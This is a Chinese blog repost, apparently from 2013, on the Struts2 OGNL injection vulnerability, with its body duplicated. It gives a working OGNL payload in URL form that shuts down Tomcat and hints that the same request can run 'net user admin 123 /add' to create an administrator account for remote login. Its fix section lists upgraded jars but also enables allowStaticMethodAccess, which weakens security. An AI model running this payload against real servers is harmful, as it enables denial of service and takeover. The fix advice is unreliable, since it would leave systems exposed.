Struts2低版本安全漏洞及解决办法
2013-10-09 20:24
351 查看
原文地址:http://www.2cto.com/Article/201209/158552.html
Strusts2的低版本漏洞相信大家都知道了,前几天的时候尝试了一下,果然危害极大
其实不用知道太多,我们只需要知道
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
会转换成:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
这就等价于:
java.lang.Runtime.getRuntime().exit(1);
也就是说的关闭当前tomcat 当然我们也可以使用net user admin 123/add +**** 这样的话我们就可以获得远程登录权限....,你懂的。
解决办法如下:
替换如下的包 commons-fileupload-1.2.2.jar commons-io-2.0.1.jar commons-lang-2.5.jar freemarker-2.3.18.jar javassist-3.11.0.GA.jar(必须)
ognl-3.0.3.jar(必须)
struts2-core-2.3.1.jar(必须)
xwork-core-2.3.1.jar(必须)
struts2-spring-plugin-2.3.1.2.jar(必须)
2.修改struts.xml文件在头部加入这句话
<constant name="struts.ognl.allowStaticMethodAccess" value="true"></constant> (允许标签使用静态方法)
3.修改web.xml
把 org.apache.struts2.dispatcher.FilterDispatcher替换为 org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter
Strusts2的低版本漏洞相信大家都知道了,前几天的时候尝试了一下,果然危害极大
其实不用知道太多,我们只需要知道
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
会转换成:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
这就等价于:
java.lang.Runtime.getRuntime().exit(1);
也就是说的关闭当前tomcat 当然我们也可以使用net user admin 123/add +**** 这样的话我们就可以获得远程登录权限....,你懂的。
解决办法如下:
替换如下的包 commons-fileupload-1.2.2.jar commons-io-2.0.1.jar commons-lang-2.5.jar freemarker-2.3.18.jar javassist-3.11.0.GA.jar(必须)
ognl-3.0.3.jar(必须)
struts2-core-2.3.1.jar(必须)
xwork-core-2.3.1.jar(必须)
struts2-spring-plugin-2.3.1.2.jar(必须)
2.修改struts.xml文件在头部加入这句话
<constant name="struts.ognl.allowStaticMethodAccess" value="true"></constant> (允许标签使用静态方法)
3.修改web.xml
把 org.apache.struts2.dispatcher.FilterDispatcher替换为 org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter
相关文章推荐
- struts2低版本遭到恶意访问漏洞原理及解决办法
- Struts2 下载取消报异常最终解决办法 1.0 版本
- 2014年Linux最大安全漏洞Bash Bug(Shellshock)解决办法
- Struts2/XWork 安全漏洞及解决办法
- 【安全牛学习笔记】CSRF跨站请求伪造攻击漏洞的原理及解决办法
- IFrame安全问题解决办法(跨框架脚本(XFS)漏洞)
- Struts2 下载取消报异常最终解决办法 1.1版本
- Struts2 下载取消报异常最终解决办法 1.2 版本
- 【安全牛学习笔记】反射型XSS攻击漏洞的原理及解决办法
- Struts2 下载取消报异常最终解决办法 1.0 版本
- IE8 浏览器访问网站时提示“您的 Java 版本不安全”附解决办法
- Struts2/XWork 安全漏洞及解决办法
- Struts2/XWork 安全漏洞及解决办法
- Struts2初学devMode发展模式,更改action出现映射错误解决办法(原因是版本问题,轻松解决)
- Struts2 下载取消报异常最终解决办法 1.0 版本
- struts2 2.2一下版本 安全漏洞解决方案
- 关于struts2漏洞问题及解决办法
- Struts2 下载取消报异常最终解决办法 1.0 版本
- struts2 版本升级2.3.16.3解决多个前缀参数远程命令行漏洞 josn
- struts2.0-struts2.3 版本漏洞婉转解决办法